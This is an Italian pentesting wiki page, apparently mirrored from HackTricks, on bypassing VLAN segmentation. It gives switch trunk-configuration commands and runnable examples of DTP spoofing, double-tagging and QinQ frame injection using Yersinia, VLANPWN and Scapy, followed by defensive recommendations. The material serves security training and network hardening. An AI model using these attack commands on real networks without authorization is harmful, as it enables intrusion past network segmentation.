mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
124 lines
6.5 KiB
Markdown
124 lines
6.5 KiB
Markdown
# Lateral VLAN Segmentation Bypass
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Se è disponibile l'accesso diretto a uno switch, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalità trunk, l'istituzione di interfacce virtuali per le VLAN target e l'impostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (**per ulteriori dettagli controlla [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||
|
||
Inizialmente, è necessaria l'identificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso i messaggi CDP, o cercando la porta tramite la maschera **include**.
|
||
|
||
**Se CDP non è operativo, l'identificazione della porta può essere tentata cercando l'indirizzo MAC**:
|
||
```
|
||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||
```
|
||
Prima di passare alla modalità trunk, dovrebbe essere compilato un elenco delle VLAN esistenti e determinati i loro identificatori. Questi identificatori vengono quindi assegnati all'interfaccia, consentendo l'accesso a varie VLAN attraverso il trunk. La porta in uso, ad esempio, è associata alla VLAN 10.
|
||
```
|
||
SW1# show vlan brief
|
||
```
|
||
**La transizione alla modalità trunk comporta l'ingresso nella modalità di configurazione dell'interfaccia**:
|
||
```
|
||
SW1(config)# interface GigabitEthernet 0/2
|
||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||
SW1(config-if)# switchport mode trunk
|
||
```
|
||
Passare alla modalità trunk interromperà temporaneamente la connettività, ma questa può essere ripristinata successivamente.
|
||
|
||
Vengono quindi create interfacce virtuali, assegnati ID VLAN e attivate:
|
||
```bash
|
||
sudo vconfig add eth0 10
|
||
sudo vconfig add eth0 20
|
||
sudo vconfig add eth0 50
|
||
sudo vconfig add eth0 60
|
||
sudo ifconfig eth0.10 up
|
||
sudo ifconfig eth0.20 up
|
||
sudo ifconfig eth0.50 up
|
||
sudo ifconfig eth0.60 up
|
||
```
|
||
Successivamente, viene effettuata una richiesta di indirizzo tramite DHCP. In alternativa, nei casi in cui DHCP non sia praticabile, gli indirizzi possono essere configurati manualmente:
|
||
```bash
|
||
sudo dhclient -v eth0.10
|
||
sudo dhclient -v eth0.20
|
||
sudo dhclient -v eth0.50
|
||
sudo dhclient -v eth0.60
|
||
```
|
||
Esempio per impostare manualmente un indirizzo IP statico su un'interfaccia (VLAN 10):
|
||
```bash
|
||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||
```
|
||
La connettività viene testata avviando richieste ICMP ai gateway predefiniti per le VLAN 10, 20, 50 e 60.
|
||
|
||
In definitiva, questo processo consente di bypassare la segmentazione VLAN, facilitando così l'accesso illimitato a qualsiasi rete VLAN e preparando il terreno per azioni successive.
|
||
|
||
---
|
||
|
||
## Altre Tecniche di VLAN-Hopping (senza CLI switch privilegiata)
|
||
|
||
Il metodo precedente presuppone l'accesso autenticato alla console o Telnet/SSH allo switch. Negli impegni del mondo reale, l'attaccante è solitamente connesso a una **porta di accesso regolare**. I seguenti trucchi di Layer-2 spesso ti permettono di pivotare lateralmente senza mai accedere al sistema operativo dello switch:
|
||
|
||
### 1. Switch-Spoofing con Dynamic Trunking Protocol (DTP)
|
||
|
||
Gli switch Cisco che mantengono DTP abilitato negozieranno felicemente un trunk se il peer afferma di essere uno switch. Creare un singolo frame **DTP “desirable”** o **“trunk”** converte la porta di accesso in un trunk 802.1Q che trasporta *tutte* le VLAN consentite.
|
||
|
||
*Yersinia* e diversi PoC automatizzano il processo:
|
||
```bash
|
||
# Become a trunk using Yersinia (GUI)
|
||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||
|
||
# Python PoC (dtp-spoof)
|
||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||
```
|
||
Una volta che la porta passa a trunk, puoi creare sottointerfacce 802.1Q e pivotare esattamente come mostrato nella sezione precedente. I moderni kernel Linux non richiedono più *vconfig*; usa invece *ip link*:
|
||
```bash
|
||
sudo modprobe 8021q
|
||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||
sudo ip link set eth0.30 up
|
||
```
|
||
### 2. Double-Tagging (Abuso del Native-VLAN)
|
||
|
||
Se l'attaccante si trova sul **native (untagged) VLAN**, un frame creato con *due* intestazioni 802.1Q può "saltare" a un secondo VLAN anche quando la porta è bloccata in modalità accesso. Strumenti come **VLANPWN DoubleTagging.py** (aggiornamento 2022-2024) automatizzano l'iniezione:
|
||
```bash
|
||
python3 DoubleTagging.py \
|
||
--interface eth0 \
|
||
--nativevlan 1 \
|
||
--targetvlan 20 \
|
||
--victim 10.10.20.24 \
|
||
--attacker 10.10.1.54
|
||
```
|
||
Packet walk-through:
|
||
1. Il tag esterno (1) viene rimosso dal primo switch perché corrisponde al VLAN nativo.
|
||
2. Il tag interno (20) è ora esposto; il frame viene inoltrato sul trunk verso il VLAN 20.
|
||
|
||
La tecnica funziona ancora nel 2025 su reti che lasciano il VLAN nativo al valore predefinito e accettano frame non taggati.
|
||
|
||
### 3. QinQ (802.1ad) Stacking
|
||
|
||
Molti core aziendali supportano l'incapsulamento *Q-in-Q* dei fornitori di servizi. Dove consentito, un attaccante può tunnelare traffico arbitrario taggato 802.1Q all'interno di un fornitore (S-tag) per attraversare zone di sicurezza. Cattura per ethertype 802.1ad 0x88a8 e prova a rimuovere il tag esterno con Scapy:
|
||
```python
|
||
from scapy.all import *
|
||
outer = 100 # Service tag
|
||
inner = 30 # Customer / target VLAN
|
||
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
|
||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||
sendp(frame, iface="eth0")
|
||
```
|
||
---
|
||
|
||
## Raccomandazioni Difensive
|
||
|
||
1. Disabilita DTP su tutte le porte a contatto con l'utente: `switchport mode access` + `switchport nonegotiate`.
|
||
2. Cambia il VLAN nativo su ogni trunk in un **VLAN inutilizzato, black-hole** e taggalo: `vlan dot1q tag native`.
|
||
3. Rimuovi i VLAN non necessari sui trunk: `switchport trunk allowed vlan 10,20`.
|
||
4. Applica la sicurezza delle porte, DHCP snooping e ispezione ARP dinamica per limitare l'attività Layer-2 non autorizzata.
|
||
5. Preferisci i private-VLAN o la segmentazione L3 invece di fare affidamento esclusivamente sulla separazione 802.1Q.
|
||
|
||
---
|
||
|
||
## Riferimenti
|
||
|
||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||
- VLANPWN attack toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||
- Twingate "What is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|